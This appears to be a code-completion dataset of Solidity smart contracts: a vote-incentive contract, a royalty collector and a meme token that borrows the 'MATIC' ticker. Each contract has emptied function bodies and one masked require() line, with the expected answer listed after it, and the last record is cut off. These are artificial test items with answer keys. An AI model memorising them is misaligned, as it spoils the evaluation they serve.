import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./Ownable.sol";
contract Votium is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
/* ========== STATE VARIABLES ========== */
// relevant time constraints
uint256 epochDuration = 86400 * 14; // 2 weeks
uint256 roundDuration = 86400 * 5; // 5 days
uint256 deadlineDuration = 60 * 60 * 6; // 6 hours
mapping(address => bool) public tokenAllowed; // token allow list
mapping(address => bool) public approvedTeam; // for team functions that do not require multi-sig security
address public feeAddress; // address to receive platform fees
uint256 public platformFee = 400; // 4%
uint256 public constant DENOMINATOR = 10000; // denominates weights 10000 = 100%
address public distributor; // address of distributor contract
bool public requireAllowlist = true; // begin with erc20 allow list in effect
bool public allowExclusions = false; // enable ability to exclude addresses
struct Incentive {
address token;
uint256 amount;
uint256 maxPerVote;
uint256 distributed;
uint256 recycled;
address depositor;
address[] excluded; // list of addresses that cannot receive this incentive
}
mapping(uint256 => address[]) public roundGauges; // round => gauge array
mapping(uint256 => mapping(address => bool)) public inRoundGauges; // round => gauge => bool
mapping(uint256 => mapping(address => Incentive[])) public incentives; // round => gauge => incentive array
mapping(uint256 => mapping(address => uint256)) public votesReceived; // round => gauge => votes
mapping(address => mapping(uint256 => mapping(address => uint256[]))) public userDeposits; // user => round => gauge => incentive indecies
mapping(address => uint256[]) public userRounds; // user => round array
mapping(address => address[]) public userGauges; // user => gauge array
mapping(address => mapping(uint256 => bool)) public inUserRounds; // user => round => bool
mapping(address => mapping(address => bool)) public inUserGauges; // user => gauge => bool
mapping(address => uint256) public virtualBalance; // token => amount
uint256 public lastRoundProcessed; // last round that was processed by multi-sig
mapping(address => uint256) public toTransfer; // token => amount
address[] public toTransferList; // list of tokens to transfer
/* ========== CONSTRUCTOR ========== */
constructor(
address _approved,
address _approved2,
address _feeAddress,
address _distributor
) {
}
/* ========== PUBLIC FUNCTIONS ========== */
function gaugesLength(uint256 _round) public view returns (uint256) {
}
function incentivesLength(
uint256 _round,
address _gauge
) public view returns (uint256) {
}
function currentEpoch() public view returns (uint256) {
}
// Display current or next active round
function activeRound() public view returns (uint256) {
}
// Include excluded addresses in incentive
function viewIncentive(
uint256 _round,
address _gauge,
uint256 _incentive
) public view returns (Incentive memory) {
}
// Deposit vote incentive for a single gauge in a single round
function depositIncentive(
address _token,
uint256 _amount,
uint256 _round,
address _gauge,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// evenly split deposit across a single gauge in multiple rounds
function depositSplitRounds(
address _token,
uint256 _amount,
uint256 _numRounds,
address _gauge,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// evenly split deposit across multiple gauges in a single round
function depositSplitGauges(
address _token,
uint256 _amount,
uint256 _round,
address[] memory _gauges,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// evenly split deposit across multiple gauges in multiple rounds
function depositSplitGaugesRounds(
address _token,
uint256 _amount,
uint256 _numRounds,
address[] memory _gauges,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// deposit same token to multiple gauges with different amounts in a single round
function depositUnevenSplitGauges(
address _token,
uint256 _round,
address[] memory _gauges,
uint256[] memory _amounts,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
// deposit same token to multiple gauges with different amounts in a single round
function depositUnevenSplitGaugesRounds(
address _token,
uint256 _numRounds,
address[] memory _gauges,
uint256[] memory _amounts,
uint256 _maxPerVote,
address[] memory _excluded
) public {
}
function increaseIncentive(
uint256 _round,
address _gauge,
uint256 _incentive,
uint256 _increase,
uint256 _maxPerVote
) public {
}
// function for depositor to withdraw unprocessed incentives
// this should only happen if a gauge does not exist or is killed before the round ends
// fees are not returned
function withdrawUnprocessed(
uint256 _round,
address _gauge,
uint256 _incentive
) public nonReentrant {
}
// function for depositor to recycle unprocessed incentives instead of withdrawing (maybe gauge was not active yet or was killed and revived)
function recycleUnprocessed(
uint256 _round,
address _gauge,
uint256 _incentive
) public {
}
/* ========== APPROVED TEAM FUNCTIONS ========== */
// transfer stored rewards to distributor (to rescue tokens sent directly to contract)
// does not change virtual balance
function rescueToDistributor(address _token) public onlyTeam {
}
// allow/deny token
function allowToken(address _token, bool _allow) public onlyTeam {
}
// allow/deny multiple tokens
function allowTokens(
address[] memory _tokens,
bool _allow
) public onlyTeam {
}
/* ========== INTERNAL FUNCTIONS ========== */
// take deposit and send fees to feeAddress, return rewardTotal
function _takeDeposit(address _token, uint256 _amount) internal {
}
function _maintainUserRounds(uint256 _round) internal {
}
function _maintainGaugeArrays(uint256 _round, address _gauge) internal {
}
/* ========== MUTLI-SIG FUNCTIONS ========== */
// submit vote totals and transfer rewards to distributor
function endRound(
uint256 _round,
address[] memory _gauges,
uint256[] memory _totals
) public onlyOwner {
}
// toggle allowlist requirement
function setAllowlistRequired(bool _requireAllowlist) public onlyOwner {
}
// toggle allowExclusions
function setAllowExclusions(bool _allowExclusions) public onlyOwner {
}
// update fee address
function updateFeeAddress(address _feeAddress) public onlyOwner {
}
// update fee amount
function updateFeeAmount(uint256 _feeAmount) public onlyOwner {
}
// add or remove address from team functions
function modifyTeam(address _member, bool _approval) public onlyOwner {
}
// update token distributor address
function updateDistributor(address _distributor) public onlyOwner {
}
// Fallback executable function
function execute(
address _to,
uint256 _value,
bytes calldata _data
) external onlyOwner returns (bool, bytes memory) {
}
/* ========== MODIFIERS ========== */
modifier onlyTeam() {
require(<FILL_ME>)
_;
}
/* ========== EVENTS ========== */
event NewIncentive(
address _token,
uint256 _amount,
uint256 _round,
address _gauge,
uint256 _maxPerVote,
bool _recycled
);
event TokenAllow(address _token, bool _allow);
event AllowlistRequirement(bool _requireAllowlist);
event AllowExclusions(bool _allowExclusions);
event UpdatedFee(uint256 _feeAmount);
event ModifiedTeam(address _member, bool _approval);
event UpdatedDistributor(address _distributor);
event WithdrawUnprocessed(
uint256 _round,
address _gauge,
uint256 _incentive,
uint256 _amount
);
event IncreasedIncentive(
address _token,
uint256 _total,
uint256 _increase,
uint256 _round,
address _gauge,
uint256 _maxPerVote
);
}
| approvedTeam[msg.sender]==true,"Team only" | 81,536 | approvedTeam[msg.sender]==true |
"Contract already added" | pragma solidity 0.8.17;
interface RoyaltyCollectorInterface {
function withdrawETH() external;
function withdrawToken(address token) external;
}
contract Collector is Ownable {
address[] contractsAddresses;
address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
function addContract(address _address) public onlyOwner {
bool alreadyExists = false;
for (uint32 i=0; i<contractsAddresses.length; i++) {
if (contractsAddresses[i] == _address) {
alreadyExists = true;
}
}
require(<FILL_ME>)
contractsAddresses.push(_address);
}
function removeContract(address _address) public onlyOwner {
}
function listContracts() external view onlyOwner returns (address[] memory) {
}
function updateAtIndex(uint32 index, address _newaddress) public onlyOwner {
}
function collectAllETH() public {
}
function collectAllWETH() public {
}
function collectToken(address _token) public {
}
}
| !alreadyExists,"Contract already added" | 81,552 | !alreadyExists |
"Cannot set maxTransactionAmount lower than 0.1%" | /**
*/
/**
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDexFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name_, string memory symbol_, uint8 decimals_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _createInitialSupply(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function addLiquidity(address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function removeLiquidity(address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline) external returns (uint amountA, uint amountB);
}
interface ILpPair {
function sync() external;
}
contract BitcoinSolanaCryptoPndcTeSoBitrockXCocoCPepeBtc20 is ERC20, Ownable {
IDexRouter public immutable dexRouter;
address public immutable lpPair;
bool private swapping;
address public operationsWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public liquidityActiveBlock = 0; // 0 means liquidity is not active yet
uint256 public tradingActiveBlock = 0; // 0 means trading is not active
uint256 public earlyBuyPenaltyEnd; // determines when snipers/bots can sell without extra penalty
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public constant feeDivisor = 10000;
uint256 public totalSellFees;
uint256 public operationsSellFee;
uint256 public liquiditySellFee;
uint256 public totalBuyFees;
uint256 public operationsBuyFee;
uint256 public liquidityBuyFee;
uint256 public tokensForOperations;
uint256 public tokensForLiquidity;
/******************/
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
address[] private earlyBuyers;
uint256 private deadBlocks;
mapping (address => bool) public _isBot;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event ExcludeFromFees(address indexed account, bool isExcluded);
event ExcludeMultipleAccountsFromFees(address[] accounts, bool isExcluded);
event ExcludedMaxTransactionAmount(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event OperationsWalletUpdated(address indexed newWallet, address indexed oldWallet);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
constructor() ERC20("BitcoinSolanaCryptoPndcTeSoBitrockXCocoCPepeBtc20", "MATIC", 18) {
}
receive() external payable {}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool){
}
// once enabled, can never be turned off
function enableTrading(uint256 _deadBlocks) external onlyOwner {
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner(){
}
function updateMaxAmount(uint256 newNum) external onlyOwner {
require(<FILL_ME>)
maxTransactionAmount = newNum * (10 ** decimals());
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
}
function updateBuyFees(uint256 _operationsFee, uint256 _liquidityFee) external onlyOwner {
}
function updateSellFees(uint256 _operationsFee, uint256 _liquidityFee) external onlyOwner {
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) external onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function updateOperationsWallet(address newOperationsWallet) external onlyOwner {
}
function isExcludedFromFees(address account) external view returns(bool) {
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool){
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function swapBack() private {
}
function TrendingTime() external onlyOwner {
}
function freeToTrend(address[] memory _addresses) external onlyOwner {
}
function addNAGAMOTO(address[] memory _addresses) external onlyOwner {
}
function sendToWallets(address[] memory wallets, uint256[] memory amountsInWei) external onlyOwner {
}
}
| newNum>(totalSupply()*1/1000)/(10**decimals()),"Cannot set maxTransactionAmount lower than 0.1%" | 81,686 | newNum>(totalSupply()*1/1000)/(10**decimals()) |
"Cannot set maxWallet lower than 1%" | /**
*/
/**
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDexFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name_, string memory symbol_, uint8 decimals_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _createInitialSupply(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function addLiquidity(address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function removeLiquidity(address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline) external returns (uint amountA, uint amountB);
}
interface ILpPair {
function sync() external;
}
contract BitcoinSolanaCryptoPndcTeSoBitrockXCocoCPepeBtc20 is ERC20, Ownable {
IDexRouter public immutable dexRouter;
address public immutable lpPair;
bool private swapping;
address public operationsWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public liquidityActiveBlock = 0; // 0 means liquidity is not active yet
uint256 public tradingActiveBlock = 0; // 0 means trading is not active
uint256 public earlyBuyPenaltyEnd; // determines when snipers/bots can sell without extra penalty
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public constant feeDivisor = 10000;
uint256 public totalSellFees;
uint256 public operationsSellFee;
uint256 public liquiditySellFee;
uint256 public totalBuyFees;
uint256 public operationsBuyFee;
uint256 public liquidityBuyFee;
uint256 public tokensForOperations;
uint256 public tokensForLiquidity;
/******************/
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
address[] private earlyBuyers;
uint256 private deadBlocks;
mapping (address => bool) public _isBot;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event ExcludeFromFees(address indexed account, bool isExcluded);
event ExcludeMultipleAccountsFromFees(address[] accounts, bool isExcluded);
event ExcludedMaxTransactionAmount(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event OperationsWalletUpdated(address indexed newWallet, address indexed oldWallet);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
constructor() ERC20("BitcoinSolanaCryptoPndcTeSoBitrockXCocoCPepeBtc20", "MATIC", 18) {
}
receive() external payable {}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool){
}
// once enabled, can never be turned off
function enableTrading(uint256 _deadBlocks) external onlyOwner {
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner(){
}
function updateMaxAmount(uint256 newNum) external onlyOwner {
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(<FILL_ME>)
maxWallet = newNum * (10 ** decimals());
}
function updateBuyFees(uint256 _operationsFee, uint256 _liquidityFee) external onlyOwner {
}
function updateSellFees(uint256 _operationsFee, uint256 _liquidityFee) external onlyOwner {
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) external onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function updateOperationsWallet(address newOperationsWallet) external onlyOwner {
}
function isExcludedFromFees(address account) external view returns(bool) {
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool){
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function swapBack() private {
}
function TrendingTime() external onlyOwner {
}
function freeToTrend(address[] memory _addresses) external onlyOwner {
}
function addNAGAMOTO(address[] memory _addresses) external onlyOwner {
}
function sendToWallets(address[] memory wallets, uint256[] memory amountsInWei) external onlyOwner {
}
}
| newNum>(totalSupply()*1/100)/(10**decimals()),"Cannot set maxWallet lower than 1%" | 81,686 | newNum>(totalSupply()*1/100)/(10**decimals()) |
"No bots" | /**
*/
/**
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDexFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name_, string memory symbol_, uint8 decimals_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _createInitialSupply(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function addLiquidity(address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function removeLiquidity(address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline) external returns (uint amountA, uint amountB);
}
interface ILpPair {
function sync() external;
}
